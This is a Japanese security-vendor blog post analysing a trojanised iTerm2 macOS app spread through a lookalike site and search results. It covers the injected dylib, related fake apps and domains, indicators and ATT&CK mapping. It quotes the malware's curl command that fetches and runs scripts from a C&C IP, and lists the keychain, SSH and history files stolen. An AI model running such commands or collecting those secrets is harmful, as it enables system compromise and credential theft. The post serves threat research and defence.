もっと詳しく

2021年9月初め、中国のQ&Aサイト「知乎(Zhihu)」上であるユーザが、『検索エンジンで「iTerm2」というキーワードを検索した結果、正規サイト「iterm2.com」を偽装した「item2.net」という偽サイトに繋がった』と報告したことを確認しました(図1)。この偽サイト内に記載されているリンクからは、macOS向け端末エミュレータ「iTerm2」の偽バージョンがダウンロードされます。この偽アプリが起動されると、47[.]75[.]123[.]111から悪意のあるPythonスクリプト「g.py」をダウンロード・実行して、感染端末から個人情報を収集します。トレンドマイクロ製品ではiTerm2の偽バージョンを「TrojanSpy.MacOS.ZURU.A」として、悪意のあるスクリプトを「TrojanSpy.Python.ZURU.A」として検出します。

図1:偽サイト「iterm2.net」
図1:偽サイト「iterm2.net」

macOS向けにセキュリティツールを提供するサイト「Objective-see」は、この偽アプリに関するブログ記事を以前に公開しており、攻撃者がiTerm2アプリをリパックして悪意のあるファイル「libcrypto.2.dylib」を読み込む手口を解説しています。この偽アプリは、上述したg.pyスクリプトや、商用のペネストレーションツール「Cobalt Strike Beacon」のペイロードを含む「GoogleUpdate」と呼ばれるMach-Oファイルなどの他のコンポーネントをダウンロードして実行します。本ブログ記事では、トロイの木馬化した「iTerm2」アプリの詳細について解説します。

トロイの木馬化したiTerm2アプリ

iterm2.netは2021年9月15日時点でまだ閲覧可能な状態でした。しかし、悪意のあるファイルはこの偽サイト上に直接ホストされているわけではありませんでした。代わりにこの偽サイトは、iTermのダウンロードリンクに見せかけたhxxp://www.kaidingle.com/iTerm/iTerm.dmgというリンクを含んでおり、ユーザはこのリンクから不正なmacOSのディスクイメージファイル(拡張子DMG)を誤ってダウンロードしてしまう可能性があります。ユーザは、偽サイト上で選択したアプリのバージョンに関係なく、iTerm.dmgをダウンロードするためのURLに誘導されます。正規サイト「iterm2.com」では、アプリのバージョンに応じて異なるURLとファイルが用意されています。正規サイトからダウンロードされたファイルは、図2に示すように、偽サイトからダウンロードしたDMGファイルとは異なり、ZIPファイル形式になっています。

図2:偽サイトからダウンロードしたファイル(左)と正規サイトからダウンロードしたファイル(右)の比較画像
図2:偽サイトからダウンロードしたファイル(左)と
正規サイトからダウンロードしたファイル(右)の比較画像

DMGファイルとZIPファイルのフォルダ構造を比較した結果、両者には数多くの違いがあることが判明しました。

  • 図3に示すように、トロイの木馬化したiTerm2アプリ内に存在するすべてのMach-OファイルはApple Distribution証明書で署名されているのに対し、正規iTerm2アプリ内のファイルはDeveloper ID Application証明書でコード署名されています。Appleのドキュメントによると、Apple Distribution証明書は、App Storeに配信する前のアプリにのみ使用される署名であるため、App Storeからダウンロードされたアプリには通常Apple Distribution証明書は用いられないことになります。
図3:トロイの木馬化したiTerm2アプリに用いられたコード署名
図3:トロイの木馬化したiTerm2アプリに用いられたコード署名
  • 図4に示すように、トロイの木馬化したiTerm2アプリのFrameworksフォルダ内には正規版には存在しないlibcrypto.2.dylibというファイルが含まれています。
図4:トロイの木馬化したiTerm2アプリ内に追加されたlibcrypto.2.libファイル
図4:トロイの木馬化したiTerm2アプリ内に追加されたlibcrypto.2.libファイル
  • トロイの木馬化したiTerm2アプリ内には、メインとなるMach-OファイルにLC_LOAD_DYLIBというloadコマンドが追加されており、libcrypto.2.dylibファイルを読み込みます(図5)。
図5:loadコマンド「LC_LOAD_DYLIB」がlibcrypto.2.dylibファイルを読み込む様子
図5:loadコマンド「LC_LOAD_DYLIB」がlibcrypto.2.dylibファイルを読み込む様子

Objective-seeのブログ記事では、libcrypto.2.dylibファイルに含まれる不正コードは、ユーザがトロイの木馬化したiTerm2アプリを実行すると自動的に実行されるとしています。これは正規アプリをリパックする手口としては巧妙で、これまでに確認されたことがないものです。

トロイの木馬化したiTerm2アプリが実行されるとC&Cサーバに接続して、以下のような指示を受け取ります。

  1. “curl -sfo /tmp/g.py http://47[.]75[.]123[.]111/g.py && chmod 777 /tmp/g.py && python /tmp/g.py && curl -sfo /tmp/GoogleUpdate http://47[.]75[.]123[.]111/GoogleUpdate && chmod 777 /tmp/GoogleUpdate && /tmp/GoogleUpdate”
  2. /tmp/g.pyフォルダにg.pyスクリプトをダウンロードして実行する
  3. /tmp/GoogleUpdateフォルダに「GoogleUpdate」をダウンロードして実行する
  4. g.pyスクリプトを用いてデータを収集する

実行されたPythonスクリプト「g.py」は、感染端末から以下のシステム情報やファイルを収集してC&Cサーバに送信します。

1. オペレーティングシステム(OS)情報

2. ユーザ名

3. インストールされているアプリケーション

4. ローカルIPアドレス

5. 以下のファイルおよびフォルダのコピー:

a. ~/.bash_history’

b. ~/.zsh_history

c. ~/.gitConfig

d. /etc/hosts

e. ~/.ssh

f. ~/.zhHistory

g. ~/Library/Keychains/Login.keychain-db

h. ~/Library/Application Support/VanDyke/SecureCRT/Config/

i. ~/Library/Application Support/iTerm2/SavedState/

6. 以下のディレクトリのコンテンツ:

a. ~/ – {カレントユーザのホームディレクトリ}

b. ~/Desktop

c. ~/Documents

d. ~/Downloads

e. /Applications

その他のトロイの木馬化したアプリおよび偽サイト

トロイの木馬化したiTerm2アプリのApple Distribution証明書をさらに分析したところ、無料オンラインマルウェアスキャンサービス「VirusTotal」上で同様にトロイの木馬化したアプリを確認しました(表1)。これらはすべて同じ方法でトロイの木馬化されています。

表1:VirusTotal上で見つかったその他のトロイの木馬化したアプリ

ファイル名 SHA-256 検出名
iTerm.app.zip 5f59ead37fa836c6329a7ba3edd4afc9a2c5fec61de4e0cdb8e8a41031ae4db0 TrojanSpy.MacOS.ZURU.A
SecureCRT.dmg ae0510032cd4699ef17de7ed1587918ffcd7ff7c9a77fc45f9d68effe2934132 Trojan.MacOS.ZuRu.PFH
SecureCRT.dmg 1e462f8716275dbae6acb3ff4f7a95624c1afb23c5069fa42a14ed49c2588921 Trojan.MacOS.ZuRu.PFH
Microsoft Remote Desktop.dmg 5ca2fb207762e886dd3336cf1cb92c28f096a5fbb1798ea6721b7c94c1395259 TrojanSpy.MacOS.ZURU.A
Navicat15_cn.dmg 6df91af12c87874780cc9d49e700161e1ead71ae045954adbe7633ec9e5e45ff TrojanSpy.MacOS.ZURU.A
Navicat15_cn.dmg 91541cfc0474d6c06376460759517ae94f36fca74d5ab84cf5c23d98bd33939e TrojanSpy.MacOS.ZURU.A

iterm2.netに用いられたSSL(Secure Sockets Layer)証明書の拇印をVirusTotalで検索した結果、他にもいくつかの不正サイトが見つかりました。図6に示すように、これらの不正サイトはすべて、同じIPアドレス「43[.]129[.]218[.]115」に名前解決されました。

図6:VirusTotal上で見つかったその他の偽サイト
図6:VirusTotal上で見つかったその他の偽サイト

トレンドマイクロは、これらの偽サイトの1つ「snailsvn.cn」にアクセスすることができましたが、このページに含まれているダウンロードリンクは当該調査時点で無効であったため、この偽サイトがMac OS X向けApache Subversion(SVN)クライアント「SnailSVN」のトロイの木馬化されたバージョンをインターネット上で配布するために使用されていたかどうかは依然として不明です(図7)。ただし、本稿執筆時点でこれらのドメインはすべてアクセスできませんでした。

図7:SnailSVNを偽装した偽サイト
図7:SnailSVNを偽装した偽サイト
トロイの木馬化したiTerms2アプリがホストされたダウンロードサーバ

トロイの木馬化したパッケージをホストするために使用されたサーバ「kaidingle[.]com」は2021年9月7日に登録され、本稿執筆時点である10月に入っても有効でした。VirusTotalによると、このサーバは「iTerm.dmg」の他にも「SecureCTR.dmg」や「Navicat15_cn.dmg」などのDMGファイルをホストしています(図8)。2021年9月18日時点で後者のDMGファイル2つは依然としてサーバからダウンロードすることができました。

図8:ダウンロードサーバに関連するURL
図8:ダウンロードサーバに関連するURL

このサーバの情報をドメイン名登録情報検索サービス「WHOIS」上で確認した結果、同じ登録者の下に4つのドメインが存在することが明らかになりました(図9)。しかし当該調査時点では、これらのドメインはいずれもマルウェアに関連していることを示すものではありませんでした。

図9:同じ登録者が保持する別のドメイン
図9:同じ登録者が保持する別のドメイン
第二段階で用いられるサーバ

VirusTotalは2021年9月8日~17日にかけて、悪意あるスクリプト「g.py」の接続先アドレスと同一のIPアドレス47[.]75[.]123[.]111の配下にある第二段階で用いられるサーバに関連する複数のURLを記録しました(図10)。

図10:第二段階で用いられるサーバの配下にあるURL
図10:第二段階で用いられるサーバの配下にあるURL

第二段階で用いられるサーバには、トロイの木馬化したiTermアプリが実行する不正活動の一部であるg.pyスクリプトや「GoogleUpdate」コンポーネントの他に、侵入後に攻撃ツールとして用いられる4つのMach-Oファイルがホストされています(表2)。

表2:第二段階で用いられるサーバ内にホストされているその他のMach-Oファイル

ファイル名 SHA-256 説明/検出名
la 79ef23214c61228a03faea00a1859509ea3bf0247219d65ae6de335fde4061f5 オープンソースのイントラネット侵入検知ツール (https://github.com/k8gege/LadonGo
iox f005ea1db6da3f56e4c8b1135218b1da56363b077d3be7d218d8284444d7824f ポート転送またはイントラネットにプロキシ設定するためのツール (https://github.com/EddieIvan01/iox)
netscan-darwin-amd64 d12ef7f6de48c09e84143e90fe4a4e7b1b3d10cee5cd721f7fdf61e62e08e749  ネットワーク上のIP/IPレンジ上で開いているポートや、同一ネットワーク上で使用されているIPアドレスをスキャンするためのツール「Netscan」。 (https://github.com/jessfraz/netscan/releases)
Host a83edc0eb5a2f1db62acfa60c666b5a5c53733233ce264702a16cb5220df9d4e Backdoor.MacOS.Wirenet.PFH

 

注目すべき点は、第二段階で用いられるサーバのIPアドレスが、「GoogleUpdate」の接続するサーバのIPアドレス「47[.]75[.]96[.]198」と似ていることです。これらのIPアドレスは、どちらもAlibaba Hong Kongによってホストされています。図11に示すように、47[.]75[.]96[.]198の配下にあるURLは、第二段階で用いられるサーバのURLと同時期に登録されていることから、これら2つのサーバは同じ攻撃者によって設定された可能性があります。

図11:「GoogleUpdate」として同じサーバの配下に登録されているURL
図11:「GoogleUpdate」として同じサーバの配下に登録されているURL
マルウェア頒布に悪用された広告サイト

本ブログの文頭で紹介したユーザレポート内で詳説されているように、検索エンジンによる検索結果の最初の項目は、サブドメイン「rjxz.jxhwst.top」の配下にあります。このアドレスをGoogle内で検索した結果、Webページのキャッシュにのみ誘導する2つの検索結果が生成されました(図12)。当該調査時点でこれらの実際のページはすでにダウンしています。

図12:Googleによって保存されていた2つの偽サイトのキャッシュ
図12:Googleによって保存されていた2つの偽サイトのキャッシュ

「Microsoft Remote Desktop」と呼ばれる最初の検索結果(図12)のアドレスはhxxp://rjxz.jxhwst.top/3ですが、このページのキャッシュ(図13)とソースコード(図14)に基づいて、サイト訪問者をhxxp://remotedesktop.vipという偽サイトに誘導していたことがわかりました。

図13:偽ページ「Microsoft Remote Desktop」のキャッシュ
図13:偽ページ「Microsoft Remote Desktop」のキャッシュ
図14:偽ページのソースコード
図14:偽ページのソースコード

メインページを確認したところ、第2レベルドメイン「jxhwst.top」は中国北部の農業法人に属していることが明らかとなりました。この第2レベルドメインにはrjxz.jxhwst.topというサブドメインのほかに44個のサブドメインがあり、そのほとんどが農業法人とは関係のない広告に使用されていました(図15)。この農業法人は、これらのサブドメインを広告目的で他者に貸し出している可能性がありますが、一方で、違法な目的で使用されることを防ぐこともできない可能性があります。これが事実であれば、攻撃者はマルウェアを頒布するためにサブドメインを借りていることになります。

図15:農業法人のサブドメイン
図15:農業法人のサブドメイン
被害に遭わないためには

正規アプリを悪用する脅威からシステムを保護するためにエンドユーザは正規マーケットプレイスからのみアプリをダウンロードする必要があります。また、検索エンジンの検索結果にも注意し、表示されたURLが本当に正規サイトを指しているかどうかを常に再確認してください。URLリンクをクリックする前にWebサイトの安全性を確認したい場合は、弊社の「Site Safety Center」を利用いただくことも有効な手段です。

トレンドマイクロの対策

個人のお客様は、包括的なセキュリティを提供する「ウイルスバスター クラウド」を、またMacのみをご利用の場合は「ウイルスバスター for Mac」などのセキュリティソリューションをご利用ください。

法人のお客様は、XGenセキュリティを活用したUser Protectionソリューションが有効です。User Protectionソリューションは、ゲートウェイからエンドポイントに至るまで多層に渡る保護を提供し、ユーザへの影響を最小限に抑えます。

侵入の痕跡(Indicators of CompromiseIoC

今回の記事に関する侵入の痕跡は、こちらを参照してください。

トロイの木馬化した「iTerm2」アプリの攻撃手法

ATT&CK Matrix for ENTERPRISE により分類したトロイの木馬化した「iTerm2」アプリのTTPは以下の通りです:

戦術(Tactic ID 名前 説明
初期アクセス(Initial Access T1566.002 Spearphishing Link 検索エンジンの結果に表示されるフィッシングサイト
実行(Execution T1059.006 Python Pythonスクリプトをダウンロードします
T1204.002 Malicious File リパックされたiTerm2アプリを実行すると、マルウェア「dyliblibcrypt.2.dylib」が起動します
セキュリティ回避(Defense Evasion T1140 Deobfuscate/Decode Files or Information マルウェア「dylib」内の文字列は、AESおよびBase64でエンコードされています
T1036 Masquerading (6) マルウェアは、リパックされたiterm2アプリ内にインジェクションされたマルウェア「dylib」です
収集(Collection T1560.002 Archive via Library 様々な情報を収集してzipアーカイブに追加します
T1005 Data from Local System システム情報、bashのコマンド履歴、ログインキーチェーン情報を収集します
T1602 Data from Configuration Repository (2) / Library / Application Support / VanDyke / SecureCRT / Configのコンテンツを収集します
情報送出(Exfiltration T1041 Exfiltration Over C2 Channel 収集されたファイルは、「hxxp://47[.]75[.]123[.]111/u.php」に送信されます

参考記事:

記事構成:岡本 勝之(セキュリティエバンジェリスト)

平子 正人(セキュリティマーケティンググループ)

翻訳:益見 和宏(Core Technology Marketing, Trend Micro™ Research

The post macOS向け端末エミュレータ「iTerm2」を偽装する攻撃手口を解説 first appeared on トレンドマイクロ セキュリティブログ.